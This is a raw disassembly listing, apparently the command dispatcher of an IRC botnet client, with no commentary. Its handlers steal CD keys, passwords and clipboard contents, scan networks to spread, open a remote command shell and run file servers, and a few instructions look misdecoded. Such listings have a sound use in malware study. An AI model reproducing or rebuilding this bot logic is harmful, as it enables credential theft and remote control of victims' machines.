push offset aReconnect ; "reconnect"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40457F
push edi
push offset aR ; "r"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40457F
push edi
push offset aDisconnect ; "disconnect"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aDc ; "dc"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aQuit_0 ; "quit"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404515
push edi
push offset aQ ; "q"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404515
push edi
push offset aStatus ; "status"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4044D7
push edi
push offset aS_1 ; "s"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4044D7
push edi
push offset aId ; "id"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4044A0
push edi
push offset aI_1 ; "i"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4044A0
push edi
push offset aReboot ; "reboot"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_4031E1
call sub_418AE3
test eax, eax
mov eax, offset unk_432F74
jnz short loc_4031B3
mov eax, offset unk_432F4C
loc_4031B3: ; CODE XREF: .nsp0:004031ACj
push eax
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 1Ch
jmp loc_40833C
; ---------------------------------------------------------------------------
loc_4031E1: ; CODE XREF: .nsp0:0040319Ej
push edi
push offset aThreads ; "threads"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4043C1
push edi
push offset aT ; "t"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4043C1
push edi
push offset aAliases ; "aliases"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40439E
push edi
push offset aAl ; "al"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40439E
push edi
push offset aLo0g ; "lo0g"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4042AE
push edi
push offset aL0g ; "l0g"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4042AE
push edi
push offset aClearlog ; "clearlog"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404295
push edi
push offset aClg ; "clg"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404295
push edi
push offset aNetinfo ; "netinfo"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40425B
push edi
push offset aNi ; "ni"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40425B
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404230
push edi
push offset aSi ; "si"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404230
push edi
push offset aRemov ; "remov`]"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4041F6
push edi
push offset aR0i0m ; "r0i0m"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4041F6
push edi
push offset aProcs ; "procs"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4040D3
push edi
push offset aPs ; "ps"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4040D3
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4040AC
push edi
push offset aKey ; "key"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4040AC
push edi
push offset aUptime ; "uptime"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404025
push edi
push offset aUp ; "up"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404025
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404008
push edi
push offset aDrv ; "drv"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_404008
push edi
push offset aTestdlls ; "testdlls"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403FEF
push edi
push offset aDll ; "dll"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403FEF
push edi
push offset aOpencmd ; "opencmd"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403FB0
push edi
push offset aOcmd ; "ocmd"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403FB0
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40342C
push dword ptr [ebp+esi-8Ch]
push 0Ah
push offset dword_432E90
push offset dword_432E84
jmp loc_402B46
; ---------------------------------------------------------------------------
loc_40342C: ; CODE XREF: .nsp0:00403412j
push edi
push offset dword_432E80
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40352B
cmp [ebp-8], ebx
jnz short loc_403460
push ebx
push dword ptr [ebp-4]
push offset dword_432E6C
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_403460: ; CODE XREF: .nsp0:00403444j
mov eax, [ebp+20h]
cmp [eax], bl
jz short loc_40346A
inc eax
jmp short loc_40346F
; ---------------------------------------------------------------------------
loc_40346A: ; CODE XREF: .nsp0:00403465j
mov eax, offset aEmpty ; "<Empty>"
loc_40346F: ; CODE XREF: .nsp0:00403468j
push eax
push ebx
lea eax, [ebp-2C0h]
push offset aD_S ; "%d. %s"
push eax
call sub_41BF36
push 1
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
push offset unk_432E38
call sub_4157A6
add esp, 28h
loc_4034A9: ; CODE XREF: .nsp0:0040372Bj
; .nsp0:00404A34j
mov eax, [ebp+esi-8Ch]
cmp eax, ebx
mov [ebp+18h], eax
jz loc_401D6C
push edi
push offset aSpoof ; "spoof"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_404B40
mov esi, [ebp+18h]
push offset aOff ; "off"
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_404A46
lea eax, [ebp-2C0h]
push offset unk_432E04
push eax
mov dword_4D49A8, ebx
call sub_41BF36
pop ecx
pop ecx
loc_403501: ; CODE XREF: .nsp0:00404AE7j
; .nsp0:00404B0Dj ...
cmp [ebp-8], ebx
jnz loc_4097B8
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
loc_403523: ; CODE XREF: .nsp0:00408ABCj
; .nsp0:00408B20j
add esp, 14h
jmp loc_4097B8
; ---------------------------------------------------------------------------
loc_40352B: ; CODE XREF: .nsp0:0040343Bj
push edi
push offset aGetclip ; "getclip"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403F6F
push edi
push offset aGc ; "gc"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403F6F
push edi
push offset aFlusharp ; "flusharp"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403F58
push edi
push offset aFarp ; "farp"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403F58
push edi
push offset aFlushdns ; "flushdns"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403F20
push edi
push offset aFdns ; "fdns"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403F20
push edi
push offset aCurrentip ; "currentip"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403EE6
push edi
push offset aCip ; "cip"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403EE6
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403D98
push edi
push offset aRlogin ; "rlogin"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403D98
push edi
push offset aHttpserver ; "httpserver"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403C22
push edi
push offset aHttp ; "http"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403C22
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403AEB
push edi
push offset aTftp ; "tftp"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_403AEB
push edi
push offset aCrassh ; "crassh"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_4036B7
lea eax, [ebp-2C0h]
push offset dword_432D64
push eax
call sub_41BF36
cmp [ebp-8], ebx
pop ecx
pop ecx
jnz short loc_403696
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_403696: ; CODE XREF: .nsp0:00403678j
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
mov dword ptr [esp], offset aCrash ; "crash"
push dword ptr [ebp+esi-7Ch]
call sub_41C710
jmp loc_4020BA
; ---------------------------------------------------------------------------
loc_4036B7: ; CODE XREF: .nsp0:00403660j
push edi
push offset aScanall ; "scanall"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4037E7
push edi
push offset aVall ; "vall"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4037E7
push edi
push offset aPhonehome ; "phonehome"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40370B
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
jmp loc_401DD4
; ---------------------------------------------------------------------------
loc_40370B: ; CODE XREF: .nsp0:004036F0j
push edi
push offset aFindpass ; "findpass"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_403731
push edi
push offset aFp ; "fp"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_4034A9
loc_403731: ; CODE XREF: .nsp0:0040371Aj
push dword ptr [ebp-88h]
lea eax, [ebp-0F54h]
push 80h
push eax
call sub_41C030
mov eax, [ebp+0Ch]
push offset unk_432CEC
mov [ebp-0F58h], eax
mov eax, [ebp-4]
mov [ebp-0ED0h], eax
mov eax, [ebp-8]
mov [ebp-0ECCh], eax
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41C030
push ebx
lea eax, [ebp-2C0h]
push 26h
push eax
call sub_40B00E
add esp, 24h
mov [ebp-0ED4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0F58h]
push ebx
push eax
push offset sub_417517
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-0ED4h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_4037D6
loc_4037C0: ; CODE XREF: .nsp0:004037D4j
cmp [ebp-0EC8h], ebx
jnz loc_40833C
push 32h
call dword_427064 ; Sleep
jmp short loc_4037C0
; ---------------------------------------------------------------------------
loc_4037D6: ; CODE XREF: .nsp0:004037BEj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_432CB0
jmp loc_40832D
; ---------------------------------------------------------------------------
loc_4037E7: ; CODE XREF: .nsp0:004036C6j
; .nsp0:004036DBj
mov al, byte_43836A
mov [ebp+8], ebx
cmp al, bl
mov edx, offset byte_43836A
jz loc_401D6C
mov ecx, edx
loc_4037FE: ; CODE XREF: .nsp0:00403806j
inc dword ptr [ebp+8]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037FE
cmp al, bl
jz loc_401D6C
mov [ebp+18h], edx
mov esi, offset aO1_0 ; "#o1"
loc_403818: ; CODE XREF: .nsp0:00403AD6j
push 0Bh
call sub_40B256
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv dword ptr [ebp+8]
add eax, ecx
cmp eax, 1F4h
jle short loc_403867
push ecx
lea eax, [ebp-2C0h]
push offset unk_432C70
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 20h
jmp loc_403ACD
; ---------------------------------------------------------------------------
loc_403867: ; CODE XREF: .nsp0:00403832j
or dword ptr [ebp-730h], 0FFFFFFFFh
cmp dword_438048, ebx
mov dword ptr [ebp-734h], 64h
mov dword ptr [ebp-748h], 5
mov dword ptr [ebp-744h], 320h
mov [ebp+8], ebx
jz short loc_4038D8
mov edi, offset dword_438048
loc_40389C: ; CODE XREF: .nsp0:004038BAj
mov eax, [ebp+18h]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_4038BE
inc dword ptr [ebp+8]
add edi, 40h
cmp [edi], ebx
jnz short loc_40389C
jmp short loc_4038D8
; ---------------------------------------------------------------------------
loc_4038BE: ; CODE XREF: .nsp0:004038B0j
mov eax, [ebp+8]
mov ecx, eax
mov [ebp-730h], eax
shl ecx, 6
mov ecx, dword_438048[ecx]
mov [ebp-74Ch], ecx
loc_4038D8: ; CODE XREF: .nsp0:00403895j
; .nsp0:004038BCj
cmp [ebp-74Ch], ebx
jz loc_403AE1
push 10h
lea eax, [ebp-2CCh]
pop edi
push eax
lea eax, [ebp-30Ch]
push eax
mov [ebp-2CCh], edi
push dword ptr [ebp+0Ch]
call dword_4D1194 ; getsockname
mov al, [ebp-8FFh]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-308h], eax
push dword ptr [ebp-308h]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp-860h]
push eax
call sub_41BCA0
xor eax, eax
cmp [ebp-8FFh], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-860h]
push eax
call sub_41C4E0
add esp, 14h
cmp edi, ebx
mov [ebp+2Fh], bl
jle short loc_403980
loc_40395E: ; CODE XREF: .nsp0:0040397Ej
cmp eax, ebx
jz short loc_403980
mov byte ptr [eax], 78h
lea eax, [ebp-860h]
push 30h
push eax
call sub_41C4E0
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_40395E
loc_403980: ; CODE XREF: .nsp0:0040395Cj
; .nsp0:00403960j
mov eax, [ebp+0Ch]
push dword ptr [ebp-88h]
mov [ebp-750h], eax
mov eax, [ebp-4]
mov [ebp-728h], eax
mov eax, [ebp-8]
mov [ebp-724h], eax
mov edi, 80h
lea eax, [ebp-850h]
push edi
push eax
mov dword ptr [ebp-720h], 1
call sub_41C030
push offset byte_443398
push esi
call sub_41C710
add esp, 14h
test eax, eax
jz short loc_4039E2
push esi
lea eax, [ebp-7D0h]
push edi
push eax
call sub_41C030
add esp, 0Ch
jmp short loc_4039E8
; ---------------------------------------------------------------------------
loc_4039E2: ; CODE XREF: .nsp0:004039CDj
mov [ebp-7D0h], bl
loc_4039E8: ; CODE XREF: .nsp0:004039E0j
cmp [ebp-720h], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039FA
mov eax, offset aSequential ; "Sequential"
loc_4039FA: ; CODE XREF: .nsp0:004039F3j
push dword ptr [ebp-734h]
lea ecx, [ebp-860h]
push dword ptr [ebp-744h]
push dword ptr [ebp-748h]
push dword ptr [ebp-74Ch]
push ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_432BF0
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 0Bh
push eax
call sub_40B00E
add esp, 2Ch
mov [ebp-740h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-860h]
push ebx
push eax
push (offset loc_40C247+1)
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-740h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_403A84
loc_403A72: ; CODE XREF: .nsp0:00403A82j
cmp [ebp-71Ch], ebx
jnz short loc_403A9F
push 32h
call dword_427064 ; Sleep
jmp short loc_403A72
; ---------------------------------------------------------------------------
loc_403A84: ; CODE XREF: .nsp0:00403A70j
call dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C0h]
push offset unk_432BB4
push eax
call sub_41BF36
add esp, 0Ch
loc_403A9F: ; CODE XREF: .nsp0:00403A78j
cmp [ebp-8], ebx
jnz short loc_403AC0
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_403AC0: ; CODE XREF: .nsp0:00403AA2j
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
pop ecx
loc_403ACD: ; CODE XREF: .nsp0:00403862j
add dword ptr [ebp+18h], 0Bh
mov eax, [ebp+18h]
cmp [eax], bl
jnz loc_403818
jmp loc_401D6C
; ---------------------------------------------------------------------------
loc_403AE1: ; CODE XREF: .nsp0:004038DEj
push offset unk_432B7C
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_403AEB: ; CODE XREF: .nsp0:00403636j
; .nsp0:0040364Bj
push 5
call sub_40B256
test eax, eax
pop ecx
jle short loc_403B01
push offset unk_432B5C
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_403B01: ; CODE XREF: .nsp0:00403AF5j
mov eax, [ebp+esi-8Ch]
cmp eax, ebx
jz short loc_403B24
push eax
mov edi, 104h
lea eax, [ebp-2D50h]
push edi
push eax
call sub_41C030
add esp, 0Ch
jmp short loc_403B38
; ---------------------------------------------------------------------------
loc_403B24: ; CODE XREF: .nsp0:00403B0Aj
mov edi, 104h
lea eax, [ebp-2D50h]
push edi
push eax
push ebx
call near ptr 0B40000h
xchg eax, esp
loc_403B38: ; CODE XREF: .nsp0:00403B22j
mov esi, [ebp+esi-88h]
cmp esi, ebx
jnz short loc_403B48
mov esi, offset aSpools_exe ; "spools.exe"
loc_403B48: ; CODE XREF: .nsp0:00403B41j
push esi
lea eax, [ebp-2C4Ch]
push edi
push eax
call sub_41C030
mov eax, dword_429080
push 7Fh
push dword ptr [ebp-88h]
mov [ebp-2B40h], eax
mov eax, [ebp+0Ch]
mov [ebp-2B44h], ebx
mov [ebp-2D54h], eax
lea eax, [ebp-2B3Ch]
push eax
call sub_41BCA0
mov eax, [ebp-4]
mov [ebp-2ABCh], eax
mov eax, [ebp-8]
mov [ebp-2AB8h], eax
lea eax, [ebp-2D50h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp-2B40h]
push offset unk_432B28
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 5
push eax
call sub_40B00E
add esp, 34h
mov [ebp-2B48h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-2D54h]
push ebx
push eax
push offset dword_411D98
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-2B48h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_403C11
loc_403BFB: ; CODE XREF: .nsp0:00403C0Fj
cmp [ebp-2AB4h], ebx
jnz loc_40820E
push 32h
call dword_427064 ; Sleep
jmp short loc_403BFB
; ---------------------------------------------------------------------------
loc_403C11: ; CODE XREF: .nsp0:00403BF9j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_432AEC
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_403C22: ; CODE XREF: .nsp0:0040360Cj
; .nsp0:00403621j
mov edi, [ebp+esi-8Ch]
cmp edi, ebx
jz short loc_403C41
push edi
call sub_41BE29
test eax, eax
pop ecx
jz short loc_403C41
push edi
call sub_41BE29
pop ecx
jmp short loc_403C46
; ---------------------------------------------------------------------------
loc_403C41: ; CODE XREF: .nsp0:00403C2Bj
; .nsp0:00403C36j
mov eax, dword_4D108C
loc_403C46: ; CODE XREF: .nsp0:00403C3Fj
mov esi, [ebp+esi-88h]
mov [ebp-36C8h], eax
xor eax, eax
cmp [ebp-8FCh], bl
setz al
cmp esi, ebx
mov [ebp-36B4h], eax
jz short loc_403C79
lea eax, [ebp-37CCh]
push esi
push eax
call sub_41BF36
pop ecx
pop ecx
jmp short loc_403CA4
; ---------------------------------------------------------------------------
loc_403C79: ; CODE XREF: .nsp0:00403C66j
lea eax, [ebp-4FF4h]
push 104h
push eax
call near ptr 0B40000h
jno short near ptr loc_403CDE+1
push ebx
lea eax, [ebp-4C8h]
push ebx
push eax
lea eax, [ebp-4FF4h]
push eax
call sub_41C081
add esp, 14h
loc_403CA4: ; CODE XREF: .nsp0:00403C77j
lea eax, [ebp-37CCh]
push eax
call sub_41B890
cmp byte ptr [ebp+eax-37CDh], 5Ch
pop ecx
jnz short loc_403CCF
lea eax, [ebp-37CCh]
push eax
call sub_41B890
pop ecx
mov [ebp+eax-37CDh], bl
loc_403CCF: ; CODE XREF: .nsp0:00403CB9j
push dword ptr [ebp-88h]
mov esi, [ebp+0Ch]
lea eax, [ebp-3A54h]
loc_403CDE: ; CODE XREF: .nsp0:00403C8Aj
mov [ebp-3A58h], esi
push 80h
push eax
call sub_41C030
mov eax, [ebp-8]
mov edi, [ebp-4]
add esp, 0Ch
mov [ebp-36B8h], eax
lea eax, [ebp-37CCh]
mov [ebp-36BCh], edi
push eax
push dword ptr [ebp-36C8h]
push esi
call sub_40AB6A
pop ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_432AB0
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 3
push eax
call sub_40B00E
add esp, 20h
mov [ebp-36C0h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3A58h]
push ebx
push eax
push offset sub_40F891
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-36C0h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_403D87
loc_403D71: ; CODE XREF: .nsp0:00403D85j
cmp [ebp-36ACh], ebx
jnz loc_403ED6
push 32h
call dword_427064 ; Sleep
jmp short loc_403D71
; ---------------------------------------------------------------------------
loc_403D87: ; CODE XREF: .nsp0:00403D6Fj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_432A74
jmp loc_403EC7
; ---------------------------------------------------------------------------
loc_403D98: ; CODE XREF: .nsp0:004035E2j
; .nsp0:004035F7j
mov edi, [ebp+esi-8Ch]
cmp edi, ebx
jz short loc_403DB7
push edi
call sub_41BE29
test eax, eax
pop ecx
jz short loc_403DB7
push edi
call sub_41BE29
pop ecx
jmp short loc_403DBC
; ---------------------------------------------------------------------------
loc_403DB7: ; CODE XREF: .nsp0:00403DA1j
; .nsp0:00403DACj
mov eax, dword_429084
loc_403DBC: ; CODE XREF: .nsp0:00403DB5j
mov [ebp-1824h], eax
mov eax, [ebp+esi-88h]
cmp eax, ebx
jnz short loc_403DD3
lea eax, [ebp-0C0h]
loc_403DD3: ; CODE XREF: .nsp0:00403DCBj
push eax
lea eax, [ebp-1964h]
push 40h
push eax
call sub_41C030
mov esi, [ebp+esi-84h]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403DF5
mov esi, offset byte_443398
loc_403DF5: ; CODE XREF: .nsp0:00403DEEj
push esi
lea eax, [ebp-1924h]
push 100h
push eax
call sub_41C030
push dword ptr [ebp-88h]
lea eax, [ebp-19E4h]
push 80h
push eax
call sub_41C030
mov eax, [ebp-8]
mov esi, [ebp+0Ch]
mov edi, [ebp-4]
add esp, 18h
mov [ebp-1810h], eax
lea eax, [ebp-1964h]
push eax
mov [ebp-19E8h], esi
push dword ptr [ebp-1824h]
mov [ebp-1814h], edi
push esi
call sub_40AB6A
pop ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_432A38
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 9
push eax
call sub_40B00E
add esp, 20h
mov [ebp-1820h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-19E8h]
push ebx
push eax
push offset byte_41104F
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-1820h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_403EBB
loc_403EA9: ; CODE XREF: .nsp0:00403EB9j
cmp [ebp-180Ch], ebx
jnz short loc_403ED6
push 32h
call dword_427064 ; Sleep
jmp short loc_403EA9
; ---------------------------------------------------------------------------
loc_403EBB: ; CODE XREF: .nsp0:00403EA7j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_4329FC
loc_403EC7: ; CODE XREF: .nsp0:00403D93j
; .nsp0:00406758j ...
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 0Ch
loc_403ED6: ; CODE XREF: .nsp0:00403D77j
; .nsp0:00403EAFj ...
cmp [ebp-8], ebx
jnz loc_40833C
push ebx
push edi
jmp loc_40720F
; ---------------------------------------------------------------------------
loc_403EE6: ; CODE XREF: .nsp0:004035B8j
; .nsp0:004035CDj
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_403EF9
push esi
call sub_41BE29
jmp short loc_403F00
; ---------------------------------------------------------------------------
loc_403EF9: ; CODE XREF: .nsp0:00403EEFj
push 0Bh
call sub_40B275
loc_403F00: ; CODE XREF: .nsp0:00403EF7j
cmp eax, ebx
pop ecx
jz loc_4097B8
push eax
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B966
jmp loc_4043B9
; ---------------------------------------------------------------------------
loc_403F20: ; CODE XREF: .nsp0:0040358Ej
; .nsp0:004035A3j
mov eax, dword_4D110C
cmp eax, ebx
jz short loc_403F3D
call eax ; dword_4D110C
test eax, eax
jz short loc_403F36
push offset unk_4329D8
jmp short loc_403F42
; ---------------------------------------------------------------------------
loc_403F36: ; CODE XREF: .nsp0:00403F2Dj
push offset unk_4329AC
jmp short loc_403F42
; ---------------------------------------------------------------------------
loc_403F3D: ; CODE XREF: .nsp0:00403F27j
push offset unk_432980
loc_403F42: ; CODE XREF: .nsp0:00403F34j
; .nsp0:00403F3Bj ...
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41C030
jmp loc_406C62
; ---------------------------------------------------------------------------
loc_403F58: ; CODE XREF: .nsp0:00403564j
; .nsp0:00403579j
call sub_40AA8C
test eax, eax
jz short loc_403F68
push offset unk_43295C
jmp short loc_403F42
; ---------------------------------------------------------------------------
loc_403F68: ; CODE XREF: .nsp0:00403F5Fj
push offset unk_432930
jmp short loc_403F42
; ---------------------------------------------------------------------------
loc_403F6F: ; CODE XREF: .nsp0:0040353Aj
; .nsp0:0040354Fj
cmp [ebp-8], ebx
jnz short loc_403F8E
push ebx
push dword ptr [ebp-4]
push offset dword_432918
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_403F8E: ; CODE XREF: .nsp0:00403F72j
push ebx
push dword ptr [ebp-4]
call sub_418982
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
push offset dword_4328FC
jmp loc_404288
; ---------------------------------------------------------------------------
loc_403FB0: ; CODE XREF: .nsp0:004033E8j
; .nsp0:004033FDj
push 0Ah
call sub_40B256
test eax, eax
pop ecx
jle short loc_403FC6
push offset unk_4328D0
jmp loc_40957A
; ---------------------------------------------------------------------------
loc_403FC6: ; CODE XREF: .nsp0:00403FBAj
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call near ptr loc_41A4EC+1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403FE5
push offset unk_4328A8
jmp loc_40957A
; ---------------------------------------------------------------------------
loc_403FE5: ; CODE XREF: .nsp0:00403FD9j
push offset unk_432888
jmp loc_40957A
; ---------------------------------------------------------------------------
loc_403FEF: ; CODE XREF: .nsp0:004033BEj
; .nsp0:004033D3j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40A729
jmp loc_401D69
; ---------------------------------------------------------------------------
loc_404008: ; CODE XREF: .nsp0:00403394j
; .nsp0:004033A9j
push dword ptr [ebp+esi-8Ch]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_417228
jmp loc_401D69
; ---------------------------------------------------------------------------
loc_404025: ; CODE XREF: .nsp0:0040336Aj
; .nsp0:0040337Fj
or edi, 0FFFFFFFFh
call dword_4270A8 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
mov [ebp+8], eax
jz short loc_40404E
push esi
call sub_41BE29
pop ecx
mov edi, eax
loc_40404E: ; CODE XREF: .nsp0:00404043j
mov eax, [ebp+8]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404067
cmp edi, 0FFFFFFFFh
jnz loc_4097B8
loc_404067: ; CODE XREF: .nsp0:0040405Cj
push ebx
call sub_41B12D
push eax
lea eax, [ebp-2C0h]
push offset dword_432870
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
loc_4040A4: ; CODE XREF: .nsp0:00407910j
add esp, 28h
jmp loc_4097B8
; ---------------------------------------------------------------------------
loc_4040AC: ; CODE XREF: .nsp0:00403340j
; .nsp0:00403355j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_416029
lea eax, [ebp-2C0h]
push offset dword_432850
push eax
call sub_41BF36
jmp loc_4081EA
; ---------------------------------------------------------------------------
